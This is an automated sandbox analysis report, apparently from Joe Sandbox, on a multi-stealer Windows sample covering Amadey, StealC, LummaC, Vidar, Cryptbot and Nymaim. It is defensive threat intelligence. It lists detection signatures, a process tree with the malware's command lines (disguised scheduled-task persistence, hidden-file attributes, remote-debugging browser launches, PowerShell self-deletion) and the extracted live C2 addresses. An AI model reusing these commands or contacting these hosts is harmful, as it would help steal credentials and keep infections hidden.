Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1566508
MD5:	ba8f4e56bc87dd31c14f261fcb6fc787
SHA1:	e489f9de5c0a3200c1eb0750bb780ee0ccbb5787
SHA256:	b48cd4d2e3cf5422795b27120cb8e7e9d266455aa5e6b94e7f3b81dc07e50179
Infos:

Detection

Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Nymaim

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

Allocates memory in foreign processes

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Changes security center settings (notifications, updates, antivirus, firewall)

Creates multiple autostart registry keys

DNS related to crypt mining pools

Drops PE files to the document folder of the user

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Leaks process information

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Monitors registry run keys for changes

PE file contains section with special chars

PE file has nameless sections

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect virtual machines (SLDT)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64native

file.exe (PID: 9140 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BA8F4E56BC87DD31C14F261FCB6FC787)

chrome.exe (PID: 9400 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BB7C48CDDDE076E7EB44022520F40F77)

chrome.exe (PID: 9604 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2668,i,8110381465614932930,16096888236174781569,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2684 /prefetch:3 MD5: BB7C48CDDDE076E7EB44022520F40F77)

msedge.exe (PID: 7920 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 40AAE14A5C86EA857FA6E5FED689C48E)

msedge.exe (PID: 1964 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2580,14279181130041663905,12471910790253145920,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2884 /prefetch:3 MD5: 40AAE14A5C86EA857FA6E5FED689C48E)

cmd.exe (PID: 9464 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KKEBKJJDGH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

KKEBKJJDGH.exe (PID: 4452 cmdline: "C:\Users\user\Documents\KKEBKJJDGH.exe" MD5: 916BCEF7A2BBBFFB86BDCA71EBAD5F74)

skotes.exe (PID: 3996 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 916BCEF7A2BBBFFB86BDCA71EBAD5F74)

svchost.exe (PID: 6936 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: F586835082F632DC8D9404D83BC16316)

SgrmBroker.exe (PID: 7348 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

sppsvc.exe (PID: 1028 cmdline: C:\Windows\system32\sppsvc.exe MD5: 30C7EF47B57367CC546173BB4BB2BB04)

svchost.exe (PID: 7860 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 1636 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: F586835082F632DC8D9404D83BC16316)

MpCmdRun.exe (PID: 5268 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 9580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

svchost.exe (PID: 9228 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 4656 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 6588 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc MD5: F586835082F632DC8D9404D83BC16316)

msedge.exe (PID: 2752 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --do-not-de-elevate MD5: 40AAE14A5C86EA857FA6E5FED689C48E)

msedge.exe (PID: 10044 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2060,2184961868279135562,6214656886902436476,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2636 /prefetch:3 MD5: 40AAE14A5C86EA857FA6E5FED689C48E)

skotes.exe (PID: 2268 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 916BCEF7A2BBBFFB86BDCA71EBAD5F74)

gU8ND0g.exe (PID: 5936 cmdline: "C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe" MD5: 4C64AEC6C5D6A5C50D80DECB119B3C78)

attrib.exe (PID: 4092 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 3932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

attrib.exe (PID: 7012 cmdline: attrib +H C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 7616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

schtasks.exe (PID: 3548 cmdline: schtasks /f /CREATE /TN "MicrosoftEdgeUpdateTaskMachineCoreSC" /TR "C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe" /SC MINUTE MD5: 796B784E98008854C27F4B18D287BA30)

conhost.exe (PID: 7784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 724 cmdline: powershell ping 127.0.0.1; del gU8ND0g.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

PING.EXE (PID: 2396 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

HRFuUub.exe (PID: 9972 cmdline: "C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe" MD5: 98DA391545B4823CA67E6CC3A927DAE9)

conhost.exe (PID: 6828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

aspnet_regiis.exe (PID: 9976 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" MD5: 5D1D74198D75640E889F0A577BBF31FC)

WerFault.exe (PID: 9584 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 9972 -s 1120 MD5: 40A149513D721F096DDF50C04DA2F01F)

tpZOod0.exe (PID: 9928 cmdline: "C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe" MD5: 98DA391545B4823CA67E6CC3A927DAE9)

conhost.exe (PID: 10052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

aspnet_regiis.exe (PID: 5652 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" MD5: 5D1D74198D75640E889F0A577BBF31FC)

WerFault.exe (PID: 9256 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 9928 -s 1116 MD5: 40A149513D721F096DDF50C04DA2F01F)

bc330fc673.exe (PID: 6336 cmdline: "C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe" MD5: 870C92CF89253BAEAF80574AAAD15ADC)

c8297318cd.exe (PID: 1912 cmdline: "C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe" MD5: 818532DA27C6ED97768AB94607612F66)

5467ed4ac5.exe (PID: 7964 cmdline: "C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe" MD5: 6F5A7A7F9A46FD0DA229545348913E5C)

MicrosoftEdgeUpdateTaskMachineCoreSC.exe (PID: 6100 cmdline: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe MD5: 4C64AEC6C5D6A5C50D80DECB119B3C78)

explorer.exe (PID: 6192 cmdline: explorer.exe MD5: 5EA66FF5AE5612F921BC9DA23BAC95F7)

powershell.exe (PID: 6172 cmdline: powershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

PING.EXE (PID: 9892 cmdline: "C:\Windows\system32\PING.EXE" 127.1.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

svchost.exe (PID: 9964 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: F586835082F632DC8D9404D83BC16316)

WerFault.exe (PID: 4488 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 9972 -ip 9972 MD5: 40A149513D721F096DDF50C04DA2F01F)

WerFault.exe (PID: 1876 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 9928 -ip 9928 MD5: 40A149513D721F096DDF50C04DA2F01F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Nymaim	Nymaim is a trojan downloader. It downloads (and runs) other malware on affected systems and was one of the primary malware families hosted on Avalanche. Nymaim is different in that it displays a localized lockscreen while it downloads additional malware. Nymaim is usually delivered by exploit kits and malvertising.	No Attribution	https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/ https://bitbucket.org/daniel_plohmann/idapatchwork https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/goznym/ https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim	https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Nymaim

{"C2 addresses": ["92.63.197.221", "92.63.197.221", "92.63.197.221", "92.63.197.221"]}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Cryptbot

{"C2 list": ["home.fvtekx5pt.top"]}

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": "https://atten-supporse.biz/api", "Build Version": "LOGS11--LiveTraffi"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1811763144.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.1847372452.0000000000841000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000033.00000003.2195840228.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000014.00000003.1806619451.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1812862722.0000000000F51000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.1866440800.00000000005C1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.1871208424.00000000049D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1283432588.00000000052F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000003.1825827448.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 9140	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 9140	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 9140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 9140	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: HRFuUub.exe PID: 9972	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 5467ed4ac5.exe PID: 7964	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 5467ed4ac5.exe PID: 7964	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 5467ed4ac5.exe PID: 7964	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 5467ed4ac5.exe PID: 7964	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author
51.3.bc330fc673.exe.4ef0000.0.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
20.2.KKEBKJJDGH.exe.840000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.skotes.exe.5c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2268, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5467ed4ac5.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 9140, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 9400, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2268, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5467ed4ac5.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "MicrosoftEdgeUpdateTaskMachineCoreSC" /TR "C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "MicrosoftEdgeUpdateTaskMachineCoreSC" /TR "C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe, ParentProcessId: 5936, ParentProcessName: gU8ND0g.exe, ProcessCommandLine: schtasks /f /CREATE /TN "MicrosoftEdgeUpdateTaskMachineCoreSC" /TR "C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe" /SC MINUTE, ProcessId: 3548, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del gU8ND0g.exe, CommandLine: powershell ping 127.0.0.1; del gU8ND0g.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe, ParentProcessId: 5936, ParentProcessName: gU8ND0g.exe, ProcessCommandLine: powershell ping 127.0.0.1; del gU8ND0g.exe, ProcessId: 724, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 916, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 6936, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:21:48.803076+0100	2028371	3	Unknown Traffic	192.168.11.20	49772	172.67.165.166	443	TCP
2024-12-02T11:21:51.960445+0100	2028371	3	Unknown Traffic	192.168.11.20	49775	172.67.165.166	443	TCP
2024-12-02T11:21:56.657358+0100	2028371	3	Unknown Traffic	192.168.11.20	49778	172.67.165.166	443	TCP
2024-12-02T11:21:59.998594+0100	2028371	3	Unknown Traffic	192.168.11.20	49781	172.67.165.166	443	TCP
2024-12-02T11:22:01.301360+0100	2028371	3	Unknown Traffic	192.168.11.20	49782	172.67.165.166	443	TCP
2024-12-02T11:22:04.207557+0100	2028371	3	Unknown Traffic	192.168.11.20	49786	172.67.165.166	443	TCP
2024-12-02T11:22:04.262785+0100	2028371	3	Unknown Traffic	192.168.11.20	49787	172.67.165.166	443	TCP
2024-12-02T11:22:09.805794+0100	2028371	3	Unknown Traffic	192.168.11.20	49832	172.67.165.166	443	TCP
2024-12-02T11:22:13.228176+0100	2028371	3	Unknown Traffic	192.168.11.20	49838	172.67.165.166	443	TCP
2024-12-02T11:22:14.932766+0100	2028371	3	Unknown Traffic	192.168.11.20	49842	172.67.165.166	443	TCP
2024-12-02T11:22:17.781900+0100	2028371	3	Unknown Traffic	192.168.11.20	49844	172.67.165.166	443	TCP
2024-12-02T11:22:18.827587+0100	2028371	3	Unknown Traffic	192.168.11.20	49846	172.67.165.166	443	TCP
2024-12-02T11:22:20.861347+0100	2028371	3	Unknown Traffic	192.168.11.20	49854	172.67.165.166	443	TCP
2024-12-02T11:22:23.852376+0100	2028371	3	Unknown Traffic	192.168.11.20	49882	172.67.165.166	443	TCP
2024-12-02T11:22:26.871806+0100	2028371	3	Unknown Traffic	192.168.11.20	49885	172.67.165.166	443	TCP
2024-12-02T11:22:29.644623+0100	2028371	3	Unknown Traffic	192.168.11.20	49889	172.67.165.166	443	TCP
2024-12-02T11:22:33.109780+0100	2028371	3	Unknown Traffic	192.168.11.20	49892	172.67.165.166	443	TCP

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:24:45.149312+0100	2028765	3	Unknown Traffic	192.168.11.20	50082	188.119.66.185	443	TCP
2024-12-02T11:25:46.566797+0100	2028765	3	Unknown Traffic	192.168.11.20	50113	188.119.66.185	443	TCP
2024-12-02T11:26:47.980795+0100	2028765	3	Unknown Traffic	192.168.11.20	50150	188.119.66.185	443	TCP
2024-12-02T11:27:49.399911+0100	2028765	3	Unknown Traffic	192.168.11.20	50180	188.119.66.185	443	TCP
2024-12-02T11:28:50.838786+0100	2028765	3	Unknown Traffic	192.168.11.20	50210	188.119.66.185	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:21:51.556434+0100	2054653	1	A Network Trojan was detected	192.168.11.20	49772	172.67.165.166	443	TCP
2024-12-02T11:21:56.010166+0100	2054653	1	A Network Trojan was detected	192.168.11.20	49775	172.67.165.166	443	TCP
2024-12-02T11:22:03.885485+0100	2054653	1	A Network Trojan was detected	192.168.11.20	49782	172.67.165.166	443	TCP
2024-12-02T11:22:07.001450+0100	2054653	1	A Network Trojan was detected	192.168.11.20	49787	172.67.165.166	443	TCP
2024-12-02T11:22:21.472546+0100	2054653	1	A Network Trojan was detected	192.168.11.20	49846	172.67.165.166	443	TCP
2024-12-02T11:22:34.035678+0100	2054653	1	A Network Trojan was detected	192.168.11.20	49892	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
